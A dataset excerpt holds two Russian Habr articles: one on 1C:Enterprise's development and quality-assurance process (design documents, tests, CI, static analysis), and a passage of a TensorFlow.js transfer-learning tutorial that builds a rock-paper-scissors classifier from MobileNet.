text
stringlengths 20
1.01M
| url
stringlengths 14
1.25k
| dump
stringlengths 9
15
⌀ | lang
stringclasses 4
values | source
stringclasses 4
values |
|---|---|---|---|---|
# Про организацию рабочего процесса
Привет, Хабр!
В этой статье мы расскажем, как построен процесс разработки платформы «1С:Предприятие», как мы работаем над обеспечением качества, и поделимся уроками, которые получили, создавая один из самых больших российских программных комплексов.
### Люди и процессы
Над платформой трудятся несколько групп до 10 программистов в каждой, три четверти из которых пишут на C++, а остальные — на Java и JavaScript.
Каждая группа работает над отдельным направлением развития, например:
* Средства разработки (Конфигуратор)
* Веб-клиент
* Серверная инфраструктура и отказоустойчивый кластер
* и т.д.
Всего групп более десятка. Отдельно есть группа обеспечения качества.
Конечно, на проекте такого размера (более 10 миллионов строк кода) речь об общем владении кода не идёт, удержать в голове такой объем невозможно. Мы стараемся двигаться к тому, чтобы обеспечить "[фактор автобуса](https://ru.wikipedia.org/wiki/Bus_factor)" в группе не ниже двух.
Мы стараемся выдерживать баланс между самостоятельностью команд, дающей гибкость и повышающей скорость разработки, и однородностью, позволяющей командам эффективно взаимодействовать между собой и внешним миром. Так, у нас общая система контроля версий, сервер сборки и таск-трекер (речь о них пойдёт ниже), а также стандарт кодирования на C++, шаблоны проектной документации, регламент обработки ошибок, пришедших от пользователей и некоторые другие аспекты. Правила, которые должны выполнять все команды, вырабатываются и принимаются общим решением руководителей групп.
С другой стороны, в практиках, которые направлены «вовнутрь», команды достаточно автономны. Например, инспекции кода сейчас применяются во всех командах (и существуют общие правила, определяющие обязательность прохождения ревью), но были внедрены в разное время и процесс построен по разным правилам.
То же самое касается организации процесса — кто-то практикует варианты Agile, кто-то использует другие стили ведения проекта. Канонического SCRUM, кажется, нет нигде — специфика коробочного продукта накладывает свои ограничения. Например, замечательная практика демонстрации оказывается неприменимой в неизменном виде. Другие практики, например, роль Product Owner, имеют у нас свои аналоги. В качестве Product Owner по своему направлению обычно выступает руководитель группы. Помимо технического лидерства в команде, одной из самых главных его задач является определение дальнейших направлений развития. Процессы выработки стратегии и тактики развития платформы – это сложная и интересная тема, которой мы посвятим отдельную статью.
#### Работа над задачами
Когда принято решение о реализации того или иного функционала, его облик определяется в серии обсуждений, в которых участвуют, как минимум, разработчик, ответственный за задачу и руководитель группы. Часто привлекаются другие члены команды или сотрудники из других групп, обладающие нужной экспертизой. Окончательный вариант утверждается руководством разработки платформы 1С: Предприятия.
В таких обсуждениях принимаются решения:
* что входит, а что не входит в scope задачи
* какие мы представляем себе сценарии использования. Еще важнее понять, какие возможные сценарии мы не будем поддерживать
* как будут выглядеть пользовательские интерфейсы
* как будут выглядеть API для прикладного разработчика
* как новый механизм будет сочетаться с уже существующими
* что будет с безопасностью
* и т.д.
Кроме того, последнее время мы стараемся обсуждать задачу с более широким кругом потенциальных потребителей — например, на прошедшем [открытом семинаре](http://habrahabr.ru/company/1c/blog/267877/) мы рассказали о находящихся в процессе проектирования новых возможностях работы с двоичными данными, ответили на вопросы и сумели выделить из обсуждения несколько возможных случаев применения, о которых не думали ранее.
При начале работы над новой функцией для неё создаётся задача в таск-трекере. Трекер, кстати, написан на «1С:Предприятие» и бесхитростно называется «База задач». Для каждой задачи в таск-трекере хранится проектный документ — по сути, спецификация на задачу. Он состоит из трех главных частей:
* Анализ проблемы и вариантов решения
* Описание выбранного решения
* Описания технических деталей реализации
Подготовка проектного документа может начинаться до реализации, а может стартовать и позже, если для задачи сначала делается какое-то исследование или прототип. В любом случае это итеративный процесс, не похожий на водопадную модель, развитие и уточнение проектного документа делается параллельно с реализацией. Главное, чтобы к моменту, когда задача была готова, проектный документ был утверждён во всех деталях. А таких деталей может быть множество, например:
* Единство используемых терминов. Если в одном месте Платформы в похожей ситуации был использован термин «записать», то использование «сохранить» должно быть очень серьёзно оправданным
* Единство подходов. Иногда ради упрощения изучения и единого опыта использования приходится повторять в новых задачах старые подходы, даже если очевидны их минусы
* Совместимость. В тех случаях, когда старое поведение сохранять нельзя, нужно все равно подумать о совместимости. Часто бывает, что прикладные решения могут быть завязаны на ошибку и резкое изменение повлечёт неработоспособность на стороне конечных пользователей. Поэтому, мы часто оставляем старое поведение «в режиме совместимости». Существующие конфигурации, запущенные на новом релизе платформы будут использовать «режим совместимости» до тех пор, пока их разработчиком не будет принято сознательное решение о его отключении.
Кроме того, в проекте тезисно фиксируются обсуждения задачи, так, чтобы позднее можно было понять почему были приняты или отвергнуты те или иные варианты.
После того, как проект утверждён и разработчик реализовал новый функционал в ветке задачи (feature branch) в SVN (а при разработке новой IDE — в Git), задача проходит инспекцию кода и ручную проверку другими членами группы. Кроме того, на ветке задачи прогоняются автоматические тесты, о которых рассказывается ниже. На этом же этапе создаётся еще один технический документ – описание задачи, который предназначен для тестировщиков и технических писателей. В отличие от проекта документ не содержит технических деталей реализации, но зато структурирован так, что помогает быстро понять, какие разделы документации нужно дополнить, привносит ли новая функция несовместимые изменения и т.д.
Проверенная и исправленная задача вливается в основную ветку релиза и становится доступной группе тестирования.
#### Уроки и рецепты
* Ценность проектного документа, как любой документации, не всегда бывает очевидна. Для нас она в следующем:
+ Во время проектирования помогает всем участникам быстро восстановить контекст обсуждения и быть уверенными, что принятые решения не будут забыты или искажены
+ Позже, в сомнительных ситуациях, когда мы не уверены в правильности поведения, проектный документ помогает вспомнить само решение и мотивацию, которая стояла за его принятием.
+ Проектный документ служит отправной точкой для пользовательской документации. Разработчику не нужно что-то писать с нуля или устно объяснять техническим писателям — уже есть готовая основа.
* Всегда нужно описывать сценарии использования создаваемого функционала, причём не общими фразами, а чем подробнее, тем лучше. Если этого не делать, то могут получаться решения, которые будет использовать или неудобно, или невозможно, а причиной может служить какая-нибудь маленькая деталь. В Agile-разработке такие детали легко поправить на следующей итерации, а в нашем случае до пользователя исправление может дойти через годы (полный цикл: пока будет выпущена финальная версия платформы-> выпущены конфигурации, использующие нововведения -> будет собрана обратная связь от пользователей -> сделано исправление -> выпущена новая версия -> обновлены конфигурации с учётом исправления -> пользователь поставит себе новую версию конфигурации).
* Ещё лучше, чем сценарии, помогает использование прототипа реальными пользователями (разработчиками конфигураций) до официального выпуска версии и фиксации поведения. Эта практика у нас только начинает широко использоваться, и почти во всех случаях приносила ценное знание. Часто это знание могло быть не связано с функциональными возможностями, а относилось к нефункциональным особенностям поведения (например, наличие логирования или лёгкость диагностики ошибок).
* Точно так же нужно заранее определяться с критериями производительности и проверять их выполнение. Пока эти требования не добавили в чеклист при сдаче задачи, это делалось не всегда.
#### Обеспечение качества
Вообще, «качество» и «обеспечение качества» — очень широкие термины. Как минимум, можно выделить два процесса — верификацию и валидацию. Под верификацией обычно понимают соответствие поведения ПО спецификации и отсутствие других явных ошибок, а под валидацией — проверку на соответствие потребностям пользователя. В этом разделе речь пойдёт об обеспечении качества в смысле верификации.
Тестировщики получают доступ к задаче уже после ее вливания, но процесс обеспечения качества начинается намного раньше. В последнее время нам пришлось приложить значительные усилия по его совершенствованию, т.к. стало очевидно, что существовавшие механизмы стали недостаточно адекватны увеличившемуся объёму функционала и заметно возросшей сложности. Эти усилия, по отзывам партнёров о новой версии 8.3.6, как нам кажется, уже дали эффект, но много работы, конечно, ещё впереди.
Существующие механизмы обеспечения качества можно условно разделить на организационные и технологические. Начнём с последних.
#### Тесты
Когда речь заходит о механизмах обеспечения качества, сразу на ум приходят тесты. Мы, конечно, их тоже используем, причём в нескольких вариантах:
##### Unit-тесты
На C++ мы пишем unit-тесты. Как уже упоминалось в [предыдущей статье](http://habrahabr.ru/company/1c/blog/269611/), мы используем модифицированные варианты [Google Test](https://code.google.com/p/googletest/) и [Google Mock](https://github.com/google/googlemock). Например, типичный тест, проверяющий экранирование символа амперсанда ("&") при записи JSON, может выглядеть так:
```
TEST(TestEscaping, EscapeAmpersand)
{
// Arrange
IFileExPtr file = create_instance(SCOM\_CLSIDOF(TempFile));
JSONWriterSettings settings;
settings.escapeAmpersand = true;
settings.newLineSymbols = eJSONNewLineSymbolsNone;
JSONStreamWriter::Ptr writer = create\_json\_writer(file, &settings);
// Act
writer->writeStartObject();
writer->writePropertyName(L"\_&\_Prop");
writer->writeStringValue(L"\_&\_Value");
writer->writeEndObject();
writer->close();
// Assert
std::wstring result = helpers::read\_from\_file(file);
std::wstring expected = std::wstring(L"{\"\_\\u0026\_Prop\":\"\_\\u0026\_Value\"}");
ASSERT\_EQ(expected, result);
}
```
##### Интеграционные тесты
Следующий уровень тестирования — интеграционные тесты, написанные на языке «1С:Предприятие». Именно они образуют основную часть наших тестов. Типичный набор тестов представляет собой отдельную информационную базу, хранящуюся в \*.dt файле. Инфраструктура тестов загружает эту базу и вызывает в ней заранее известный метод, который вызывает уже отдельные тесты, написанные разработчиками, и форматирует их результаты так, чтобы их могла интерпретировать инфраструктура CI ([Continuous Integration](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%BF%D1%80%D0%B5%D1%80%D1%8B%D0%B2%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D1%86%D0%B8%D1%8F)).
```
&НаСервере
Процедура тест_Массив_Простой() Экспорт
ИмяФайла = ПолучитьИмяВременногоФайла("json");
ИмяЭталона = "эталон_Массив_Простой";
Значение = Общие.ПолучитьПростойМассив();
ЗаписьJSON = ПолучитьОткрытуюЗаписьJSON(ИмяФайла);
ЗаписатьJSON(ЗаписьJSON, Значение);
ЗаписьJSON.Закрыть();
Общие.СравнитьФайлСЭталоном(ИмяФайла, ИмяЭталона);
КонецПроцедуры
```
В данном случае, если результат записи разойдётся с эталоном, вылетит исключение, которое инфраструктура перехватит и интерпретирует как провал теста.
Наша система CI сама выполняет эти тесты под различные версии ОС и СУБД, включая 32- и 64-разрядные Windows и Linux, а из СУБД — MS SQL Server, Oracle, PostgreSQL, IBM DB2, а также нашу собственную файловую базу.
##### Пользовательские тестовые системы
Третий и самый громоздкий вид тестов — это т.н. «Пользовательские тестовые системы». Они применяются тогда, когда проверяемый сценарий выходит за пределы одной базы на 1С, например, при тестировании взаимодействия с внешними системами через веб-сервисы. Для каждой группы тестов выделяется одна или несколько виртуальных машин, на каждую из которых устанавливается специальная программа-агент. В остальном разработчик теста имеет полную свободу, ограниченную только требованием выдавать результат в виде файла в формате Google Test, который может быть прочитан CI.
Например, для тестирования клиента SOAP веб-сервисов используется сервис, написанный на C#, а для проверки различных возможностей конфигуратора — объёмный фреймворк тестов, написанных на питоне.
Оборотной стороной такой свободы является необходимость ручной настройки тестов под каждую ОС, управление парком виртуальных машин и прочие накладные расходы. Поэтому, по мере развития наших интеграционных тестов (описанных в предыдущем разделе), мы планируем ограничивать использование пользовательских тестовых систем.
Упомянутые выше тесты пишут сами разработчики платформы, на С++ или создавая небольшие конфигурации (прикладные решения), заточенные под тестирование конкретного функционала. Это является необходимым условием отсутствия ошибок, но не достаточным, особенно в такой системе как платформа 1С: Предприятие, где большая часть возможностей не являются прикладными (используемыми пользователем напрямую), а служат основой для построения прикладных программ. Поэтому существует ещё один эшелон тестирования: автоматизированные и ручные сценарные тесты на реальных прикладных решениях. К этой же группе можно отнести и нагрузочные тесты. Это интересная и большая тема, про которую мы планируем отдельную статью.
При этом все виды тестов выполняются на CI. В качестве сервера непрерывной интеграции используется [Jenkins](https://en.wikipedia.org/wiki/Jenkins_(software)). Вот как он выглядит на момент написания статьи:
Для каждой конфигурации сборки(Windows x86 и x64, Linux x86 и x64) заведены свои задачи по сборке, которые запускаются параллельно на разных машинах. Сборка одной конфигурации занимает длительное время — даже на мощном оборудовании компиляция и линковка больших объёмов C++ представляет непростую задачу. Кроме того, создание пакетов под Linux (deb и rpm), как оказалось, занимает сопоставимое с компиляцией время.
Поэтому в течение дня работает «укороченная сборка», которая проверяет компилируемость под Windows x86 и Linux x64 и выполняет минимальный набор тестов, а каждую ночь работает регулярная сборка, собирающая все конфигурации и прогоняющая все тесты. Каждая собранная и проверенная ночная сборка помечается тэгом — так, чтобы разработчик, создавая ветку для задачи или вливая изменения из основной ветки, был уверен, что работает с компилирующейся и работоспособной копией. Сейчас мы работаем над тем, чтобы регулярная сборка запускалась чаще и включала больше тестов. Конечная цель этой работы — обнаружение ошибки тестами (если её можно обнаружить тестами) в течение не более двух часов после коммита, чтобы найденная ошибка была исправлена до конца рабочего дня. Такое время реакции резко повышает эффективность: во-первых, самому разработчику не нужно восстанавливать контекст, с которым он работал во время привнесения ошибки, во-вторых, меньше вероятность, что ошибка заблокирует чью-нибудь ещё работу.
### Статический и динамический анализ
Но не тестами едиными жив человек! Мы используем ещё и статический анализ кода, который доказал свою эффективность за многие годы. Раз в неделю находится как минимум одна ошибка, причём часто такая, которую не поймало бы поверхностное тестирование.
Мы используем три разных анализатора:
* CppCheck
* PVS-Studio
* Встроенный в Microsoft Visual Studio
Все они работают немного по-разному, находят разные типы ошибок и нам нравится, как они дополняют друг друга.
Помимо статических средств мы еще проверяем поведение системы в runtime при помощи инструментов [Address Sanitizer](http://clang.llvm.org/docs/AddressSanitizer.html) (часть проекта CLang) и [Valgrind](http://valgrind.org/).
Эти два очень разных по принципу действия инструмента используются примерно для одного и того же — поиска ситуаций неправильной работы с памятью, например
* обращений к неинициализированной памяти
* обращений к освобождённой памяти
* выходов за границы массива и т.д.
Несколько раз динамический анализ находил ошибки, которые до этого долго пытались расследовать вручную. Это послужило стимулом для организации автоматизированного периодического запуска некоторых групп тестов с включённым динамическим анализом. Постоянно использовать динамический анализ для всех групп тестов не позволяют ограничения производительности — при использовании Memory Sanitizer производительность снижается примерно в 3 раза, а при использовании Valgrind — на 1-2 порядка! Но даже их ограниченное использование дает неплохие результаты.
### Организационные меры обеспечения качества
Помимо автоматических проверок, выполняемых машинами, мы стараемся встраивать обеспечение качества в ежедневный процесс разработки.
Наиболее широко применяемая практика для этого — peer code review. Как показывает наш опыт, постоянные инспекции кода не столько отлавливают конкретные ошибки (хотя и это периодически происходит), сколько предотвращают их появление за счёт обеспечения более читаемого и хорошо организованного кода, т.е. обеспечивают качество «в долгую».
Другие цели преследует ручная проверка работы друг друга программистами внутри группы — оказывается, даже поверхностное тестирование не погруженным в задачу человеком помогает выявить ошибки на раннем этапе, ещё до того, как задача влита в ствол.
#### [Eat your own dogfood](https://en.wikipedia.org/wiki/Eating_your_own_dog_food)
Но самым эффективным из всех организационных мер оказывается подход, который в Microsoft называется «eat your own dogfood», при котором разработчики продукта оказываются первыми его пользователями. В нашем случае «продуктом» оказывается наш таск-трекер (упомянутая выше «База задач»), с которой разработчик работает в течение дня. Каждый день эта конфигурация переводится на последнюю собранную на CI версию платформы, и все недочеты и недостатки сразу сказываются на их авторах.
Хочется подчеркнуть, что «База задач» — серьёзная информационная система, хранящая информацию о десятках тысяч задач и ошибок, а число пользователей превышает сотню. Это не сравнимо с [самыми крупными внедрениями 1С: Предприятия](http://v8.1c.ru/applied-solutions/top500.jsp), но вполне сопоставимо с фирмой среднего размера. Конечно, не все механизмы можно проверить таким способом (например, никак не задействована бухгалтерская подсистема), но для того, чтобы увеличить покрытие проверяемого функционала, есть договоренность, что разные группы разработчиков используют разные способы подключения, например, кто-то использует Web-клиент, кто-то тонкий клиент на Windows, а кто-то на Linux. Кроме того, используется несколько экземпляров сервера базы задач, работающие в разных конфигурациях (разные версии, разные ОС и т.д.), которые синхронизируются между собой, используя входящие в платформу механизмы.
Помимо Базы задач есть и другие «подопытные» базы, но менее функциональные и менее нагруженные.
#### Выученные уроки
Развитие системы обеспечения качества будет продолжаться и дальше (да и вообще, вряд ли когда-нибудь можно поставить точку на этом пути), а сейчас мы готовы поделиться некоторыми выводами:
* В таком большом и массово используемом продукте дешевле написать тест, чем не написать. Если в функциональности есть ошибка и она будет пропущена — затраты конечных пользователей, партнеров, службы поддержки и даже одного отдела разработки, связанные с воспроизведением, исправлением и последующей проверкой ошибки будут куда больше.
* Даже если написание автоматических тестов затруднительно, можно попросить разработчика подготовить формализованное описание ручных тестов. Прочитав его, можно будет найти лакуны в том, как разработчик проверял своё детище, а значит, и потенциальные ошибки.
* Создание инфраструктуры для CI и тестов — дело затратное и по финансам, и по времени. Особенно, если приходится это делать для уже зрелого проекта. Поэтому начинайте как можно раньше!
И ещё один вывод, который не следует прямо из статей, но послужит анонсом следующих: самое лучшее тестирование фреймворка — это тестирование построенных на нем прикладных приложений. Но о том, как мы тестируем Платформу с применением прикладных решений, таких как «1С:Бухгалтерия», мы расскажем в одной из следующих статей. | https://habr.com/ru/post/273591/ | null | ru | null |
# Transfer Learning с использованием TensorFlow.JS
На практике в подавляющем большинстве вы не будете иметь дело с созданием новых моделей и обучением их с нуля на клиентской стороне. Чаще всего придется создавать модели на базе уже существующих. Эту технику называют Transfer Learning.
Кроме того, на мой взгляд Transfer Learning – это наиболее перспективная техника для использования на клиентской стороне с помощью TensorFlowJS. Большим преимуществом тут перед применением той же самой техники на сервере – это сохранение конфиденциальности клиентской информации и наличием возможности доступа к сенсорам (камера, гео-локации и др).
Принцип работы Transfer Learning прост. Вначале модель обучается на базе большого набора тренировочных данных. Во время процесса обучения, нейронная сеть извлекает большое количество полезных характеристик (признаков) конкретной решаемой задачи, которые могут быть использованы как база для новой, которая будет обучаться уже на малом числе тренировочных данных для более специфичной, но похожей задачи (рисунок 1). Таким образом, переобучение может происходить на устройствах с ограниченными ресурсами за относительно меньшее время.
Рисунок 1 – Структурная схема Transfer Learning Для загрузки модели в TensorFlow используют специальный JSON формат, который в свою очередь может быть двух типов: ***graph-model*** или ***layers-model*** (рисунок 2).
Рисунок 2 – Классификация форматов сериализации моделей, совместимые с TensorFlowJS Для Transfer Learning модель в формате ***graph-model*** не применима, мы можем использовать эту модель только в том виде, в котором ее загрузили, без возможности ее переобучении на новой выборке данных или же изменении топологии под свои нужды. Поэтому ниже мы будет вести речь, только про модель в формате ***layers-model***.
Для загрузки предварительно обученной модели в формате ***layers-model***, TensrFlowJS предоставляет в своем АПИ метод [tf.loadLayersModel](https://js.tensorflow.org/api/latest/#loadLayersModel) , который загружает топологию модели и ее веса, полученные в результате длительного процесса обучения. Топология модели задаётся в json формате, который также содержит поле *weightsManifest* с указанием путей в бинарном формате, содержащих все веса связей обученной нейронной сети (в случае сложной нейронной сети с миллионами обучаемыми параметров, веса модели могут представлены в нескольких файлах-шардах).
С помощью специального [конвертора](https://www.tensorflow.org/js/tutorials/conversion/import_keras) вы можете конвертировать модели, например обученных на Python с помощью фреймворка Keras (он сейчас включен как подмодуль в TensorFlow) в формат, совместимый с TF.js. Более подробно вы можете узнать [тут](https://habr.com/ru/post/523956/).
После загрузки модели, мы можем модифицировать и переобучить ее согласно требованиям задачи. Так как мы будем стремиться уменьшить время на обучение модели на базе новой выборки данных, то очевидным будет то, что необходимо “замораживать” (freeze) как можно больше слоев в исходной модели. Заморозить слой – это перевод всех нейронов слоя из категории обучаемых (*trainable*) в категорию необучаемых (*untrainable*). Во время обучения сети, оптимизатор будет модифицировать только обучаемые параметры сети, что может значительно сократить время на ее обучение.
Справедливым вопросом тогда будет – как много и какие слои мы должны замораживать. Чтобы интуитивно понимать это, давайте рассмотрим типовую структурную схему нейронной сети, которая связана с классификаций изображений между N классами. Структурная схема приведена на рисунке 3.
Рисунок 3 – Топология нейронной сети для классификации изображений между N классами Нейронная сеть включает в себя несколько последовательно подключенных сверточных слоев (*convolutional layers*) и в конце подключено несколько скрытых полносвязных слоев нейронных сетей (*dense layers, fully-connected layers*).
Напомним, что целью сверточных слоев – это извлечении характерных признаков изображений, при этом первые сверточные слои (относительно входа сети) будут извлекать простейшие паттерны из изображения – ребра, контуры, дуги. Следующие сверточные слои комбинируя разные паттерны предыдущего слоя будут формировать более сложные текстуры - окружности, квадраты, которые дальше могут сложиться в часть лица человека, колесо машины и др. – тут все будет зависеть от контекста решаемой задачи. Более подробно вы можете почитать [тут](https://habr.com/ru/post/518766/).
Даже если мы будем использовать модель, которая знает как распознавать машины, а нам необходимо распознавать наличие человеческого лица на изображении, то несмотря на то что задачи кажутся абсолютно разными, сверточные слои, находящиеся ближе к входу нейронной сети для обоих сетей будут извлекать идентичные признаки (рисунок 4)
Рисунок 4 - Признаки, выделяемые сверточными слоями на разных уровнях нейронной сети **!!!!** *Таким образом с учетом вышесказанного, замораживать слои необходимо начинать со входа нейронной сети, а количество замораживаемых слоев прямо пропорционально схожести решаемой задачи с задачей, которая решает предварительно загруженная модель*.
Другим не менее важным параметром для выбора сколько слоев необходимо замораживать – это **размер располагаемого набора данных**, с которым мы собираемся переобучать модель.
Например, если мы располагаем *ограниченным числом тренировочных данных*, с которым собираемся переобучать модель, *а новая задача сходна* с задачей, которая решала предварительно загруженная сеть – то в данном случае имеет смысл заморозить все сверточные слои. С другой стороны – если мы имеем *большее число тренировочных* данных, а предварительно загруженная сеть *не похожа* на задачу, которую мы решаем, то тут мы можем вовсе не замораживать слои.
В последнем случае вы можете задать вопрос – так если мы не фиксируем ни одного слоя, то смысл загружать предварительно обученную модель с ее весами. Однако при обучении модели с нуля – фреймворк инициализирует веса нейронной сети произвольно, что делает процесс обучения модели дольше, чем если бы мы использовали уже предварительно настроенные веса, в которых как мы уже отмечали выше – низкоуровневые слои для разных задач будут иметь приблизительно идентичные настройки.
**!!!!** *Обобщим, выше сказанное – чем больше у нас обучающая выборка для обучающей модели, тем меньше слоев нам надо замораживать.*
Визуализация алгоритма, описанного выше, вы можете посмотреть на рисунке 5.
Рисунок 5 – Схема настройки новой нейронной сети на базе уже обученной**Практика**
У нас есть задача разработать один из компонентов для игры в ***камень-ножницы-бумага.*** Компонент представляет собой интерфейс, в котором предлагается пользователю показать камере - *камень, ножницы и бумагу*. После процесса обучения компонент должен самостоятельно определять, что пользователь показывает.
 Для начала давайте посмотрим на картину в целом и что мы собираемся делать и разберем каждый шаг.
Рисунок 6 – Структурная диаграмма по созданию новой модели на базе обученной модели MobileNet
***1 шаг – Загрузка обученной модели MobileNet и ее анализ***
MobileNet – модель, обученная на базе ImageNet выборке (коллекция, включающая более миллиона изображений, разбитую вручную между 1000 классами).
Загрузим модель с помощью специального пользовательского React-hook:
```
export default () => {
const [model, setModel] = useState();
useEffect(() => {
(async function init() {
const model = await tf.loadLayersModel(MODEL\_URL);
setModel(() => model);
model.summary();
})();
}, []);
return model;
}
```
Посмотрим на топологию загруженной сети вызовом ***model.summary()***, рисунок 7.
Рисунок 7 – Топология загруженной модели Модель состоит из 88 слоев, входной слой которого представлен тензором размерностью **[null, 224, 224, 3]**, принимающий изображение размерностью 224x224 пикселей с тремя цветовыми каналами. Выходной слой – это тензор размерность **[null,1000]**.
Выходной тензор **[null, 1000]** – это так называемый ***one-hot вектор***, в котором все значения равны нулю, за исключением одного, например [0, 0, 1, 0, 0] – это значит, что нейронная сеть считает с вероятностью 1, что на изображении класс с индексом 2 (индексация как обычно начинается с нуля). Когда мы будет использовать модель, то этот вектор будет представлять собой распределение вероятности для каждого из классов, например, можно получить такие значения: [0.07, 0.1, 0.03, 0.75, 0.05]. Обратите внимание, что сумма всех значений будет равна 1, а модель считает с максимальной вероятностью 0.75, что это объект класса c индексом 3.
В связи с тем, что для нашей задачи мы имеем только 3 класса, то нам необходимо модифицировать топологию модели, так как исходная загруженная модель умеет классифицировать между 1000 классами. Давайте изобразим схему того, что мы хотим сделать.
Слои модели можно разбить условно на слои, отвечающих за:
- извлечение характерных признаков изображения
- классификацию изображений между 1000 классами
Для новой модели, мы хотим использовать все слои, отвечающих за извлечение признаков изображений, но при этом исключим все слои, отвечающих за классификацию изображений между 1000 классами, и вместо этого предоставить свой классификатор, который будет производить классификацию между 3мя классами.
На рисунке 8 показана диаграмма разбивка загруженных слоев по их назначению (рисунок 8).
Рисунок 7 – Создание новой модели на базе существующей Кстати, тут можно проанализировать нашу задачу на предмет, стоит ли замораживать слои. Во-первых, однозначно мы не будем заставлять пользователя делать большую тренировочную выборку для обучения сети, будет вполне себе достаточно по 30-50 изображений каждого класса. Также решаемая нами задача – классификация между 3 классами изображений с жестами, достаточно близка к задаче классификации изображений между 1000 классами, которая была предварительно обучена на большом наборе тренировочных изображений. Следовательно, согласно рисунку 5, мы можем заморозить все слои части модели MobileNetV2, которые мы извлекли для своих нужд:
```
// freeze all layers of MobileNet
for (const layer of pretrainedModel.layers) {
layer.trainable = false;
}
```
***Шаг 2 – Поиск последнего слоя в загруженной модели, отвечающего за извлечение характерных признаков изображения***
Для этого будем использовать АПИ [tf.LayersModel.getLayer](https://js.tensorflow.org/api/latest/#tf.LayersModel.getLayer), который позволяет найти искомый слой либо по его индексу, либо по уникальному имени. Более предпочтительным является поиск слоя по уникальному имени, чем по его индексу. Обратите внимание (рисунок 7), каждый слой загруженной модели имеет уникальное название: *input\_1; conv\_pw\_13\_bn; conv\_pw\_13\_relu* и др. Как и договаривались – найдем последний сверточный слой в модели и это является слой с именем conv\_pw\_13\_relu. Таким образом код будет выглядеть следующим образом:
```
const truncatedLayer = pretrainedModel.getLayer('conv_pw_13_relu');
const truncatedLayerOutput = truncatedLayer.output as SymbolicTensor;
```
***Шаг 3 – Создание нового классификатора для классификации между 3 классами***
Модель будет состоять из нескольких слоев (рисунок 8):
- ***первый слой*** - мы должны многомерный тензор, который получим от сверточных слоев MobileNetV2 преобразовать в одномерный массив, чтобы он был совместим с полносвязными (fully-connected, dense layers) слоями модели для классификации;
- **второй слой** – скрытый полносвязный слой, который будет содержать 100 нейронов (параметр может быть подобран на базе экспериментов, это так называемый hyper parameter) с активационной функцией **RELU**. RELU – наиболее распространенная активационная функция, которая добавляет нелинейность модели;
- **третий слой** – выходной полносвязный слой, содержащий ровно 3 нейрона, каждый из которых определяет вероятность принадлежности изображения к одному из трех классов: камень, ножницы, бумага. Слой будет с активационной функцией SOFTMAX. SOFTMAX функция, которая всегда используется для последнего слоя для решения задач множественной классификации. Она преобразует вектор ***z*** размерности ***K*** в вектор той же размерностью ***σ***, где каждое значение представлена вещественным числом в интервале [0, 1], а их сумма равна единице. И как уже указывалось выше,каждое значение в векторе ***σi*** трактуются как вероятность того, то объект принадлежит классу ***i***.
Рисунок 8 – Новые слои для модели, отвечающие за классификацию между 3 классами Код будет выглядеть следующим образом:
```
function buildNewHead(inputShape: Shape, numClasses: number) {
// Creates a 2-layer fully connected model
return tf.sequential({
layers: [
tf.layers.flatten({
name: 'flatten',
inputShape: inputShape.slice(1),
}),
tf.layers.dense({
name: 'hidden_dense_1',
units: 100,
activation: 'relu'
}),
// Layer 2. The number of units of the last layer should
// correspond to the number of classes we want to predict.
tf.layers.dense({
name: 'softmax_classification',
units: numClasses,
activation: 'softmax'
})
]
});
}
```
***Шаг 4 - Связывание нового классификатора со слоями предварительно обученной модели***
В шаге 2 мы нашли последний слой в графе модели, который мы хотим оставим в новой разрабатываемой модели. Давайте свяжем этот слой с классификатором, созданным на шаге 3 (см. рисунок 6). Для этого экземпляры класса модели/слоев имеют специальный метод [apply](https://js.tensorflow.org/api/latest/#tf.layers.Layer.apply), который делает соединение между слоями. Это будет выглядеть следующим образом:
```
const transferHead = buildNewHead(truncatedLayerOutput.shape, numClasses);
const newOutput = transferHead.apply(truncatedLayerOutput) as SymbolicTensor;
```
***Шаг 5 – Создание новой модели и ее компиляция***
Для создания новой модели на базе существующей мы будет использовать [tf.model](https://js.tensorflow.org/api/latest/#model), который принимает в качестве аргумента объект с двумя обязательными полями *inputs* и *outputs*. Оба параметра ожидают массив, где каждый элемент массива представляет собой ***Symbolic tensor*** (отличие от обычного тензора – это то, что по сути это описание тензора имеющая сведения о размерности и типе, но при этом отсутствуют данные, так называемый placeholder).
Каждый слой в модели имеет два атрибута – вход и выход, представленные Symbolic tensor.
Тут иногда удобно сопоставлять слой с обычной JS функцией, которая принимает входной параметр, внутри производится некоторая логика по вычислению и всегда возвращает выходной параметр. Отличие тут, что входными и выходными параметрами будут Symbolic Tensor.
Итак, нам надо определить ***inputs*** и ***outputs*** для новой модели. Input для новой модели будет совпадать с input загруженной модели и доступно через: *pretrainedModel.inputs*.
А выходным Symbolic Tensor – это выход после последнего слоя нового классификатора, который доступен в переменной *newOutput*, после применения метода apply на предыдущем шаге.
```
// build new model
const model = tf.model({
inputs: pretrainedModel.inputs,
outputs: newOutput
});
```
Скомпилируем модель, задав нужный оптимизатор и loss-функцию. Наиболее лучшим оптимизатором является tf.train.adam, а loss-функция для классификации задают обычно categoricalCrossentropy:
```
model.compile({
optimizer: tfC.train.adam(0.0001),
loss: 'categoricalCrossentropy'
});
```
Полный код создания новой модели на базе предварительно обученной MobileNet
```
import {useEffect, useState} from 'react';
import {LayersModel, Shape, SymbolicTensor} from '@tensorflow/tfjs';
import * as tf from '@tensorflow/tfjs';
function buildNewHead(
inputShape: Shape,
numClasses: number): LayersModel {
// Creates a 2-layer fully connected model
return tf.sequential({
layers: [
tf.layers.flatten({
name: 'flatten',
inputShape: inputShape.slice(1),
}),
tf.layers.dense({
name: 'hidden_dense_1',
units: 100,
activation: 'relu',
kernelInitializer: 'varianceScaling',
useBias: true
}),
// Layer 2. The number of units of the last layer
// should correspond to the number of classes
// we want to predict.
tf.layers.dense({
name: 'softmax_classification',
units: numClasses,
kernelInitializer: 'varianceScaling',
useBias: false,
activation: 'softmax'
})
]
});
}
export default (
pretrainedModel: LayersModel | undefined,
numClasses: number) => {
const [model, setModel] = useState();
useEffect(() => {
if (pretrainedModel) {
// find last convolutional layer by its name
// it is a layer followed by layers which are responsible
// for classification
const truncatedLayer =
pretrainedModel.getLayer('conv\_pw\_13\_relu');
const truncatedLayerOutput =
truncatedLayer.output as SymbolicTensor;
// freeze all layers of MobileNet
for (const layer of pretrainedModel.layers) {
layer.trainable = false;
}
const transferHead = buildNewHead(
truncatedLayerOutput.shape, numClasses);
const newOutput =
transferHead.apply(truncatedLayerOutput) as SymbolicTensor;
const model = tf.model({
